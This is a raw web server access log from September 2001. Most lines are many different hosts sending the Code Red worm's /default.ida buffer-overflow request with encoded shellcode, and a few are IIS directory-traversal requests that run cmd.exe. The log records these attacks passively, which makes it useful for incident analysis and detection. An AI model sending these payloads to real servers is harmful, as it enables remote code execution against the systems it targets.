/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 11:26:56: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 11:41:51: ksgb065.harvard.edu [128.103.192.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 11:49:00: ariadne.cs.columbia.edu [128.59.19.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 12:23:49: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 12:30:53: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 12:49:46: bus84-239.gsb.columbia.edu [128.59.84.239] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 12:59:35: ariadne.cs.columbia.edu [128.59.19.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 13:03:57: bus84-239.gsb.columbia.edu [128.59.84.239] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 13:18:49: su30.eastnet.gatech.edu [128.61.105.158] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 16:47:10: [206.47.90.78] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 17:41:27: [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 20:01:11: [61.187.26.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 20:42:34: [61.144.191.21] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 22:57:10: pa2.student-orgs.purdue.edu [128.210.109.15] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 00:45:59: [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 05:27:30: [61.174.140.181] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 09:19:48: ppp-128-22.21-151.libero.it [151.21.22.128] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 09:35:07: du-148-223-221-119.prodigy.net.mx [148.223.221.119] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 10:28:56: [211.244.185.53] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 13:04:42: dup-200-64-21-117.prodigy.net.mx [200.64.21.117] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 13:15:00: dynamic-54-206.dyn.columbia.edu [128.59.54.206] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 13:21:12: [217.59.3.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010911 13:58:47: dialup-cc4-69.cc.columbia.edu [128.59.3.78] "" 20010911 19:19:01: c143253.catch.sdsl.no [217.8.143.253] "GET http://www.ebay.com/ HTTP/1.1" 20010911 19:48:19: [217.153.25.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 01:35:32: c143253.catch.sdsl.no [217.8.143.253] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:%5C HTTP/1.0" 20010912 01:35:33: c143253.catch.sdsl.no [217.8.143.253] "GET /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 20010912 01:35:33: c143253.catch.sdsl.no [217.8.143.253] "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 20010912 05:16:51: alex.graham.clarkson.edu [128.153.160.153] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 06:01:18: [217.57.39.3] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 11:01:57: [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 14:00:53: adsl-48419.turboline.skynet.be [217.136.61.35] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 14:32:56: 200191199102-dial-user-UOL.acessonet.com.br [200.191.199.102] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 14:37:05: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 17:07:00: client124037.atl.mediaone.net [24.31.124.37] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 18:08:53: [211.50.146.22] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 18:09:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 18:16:47: dynamic-33-145.dyn.columbia.edu [128.59.33.145] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 18:18:24: we-24-130-6-111.we.mediaone.net [24.130.6.111] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 18:44:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 19:29:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 20:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 21:25:46: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010912 23:01:36: [210.242.97.210] "GET 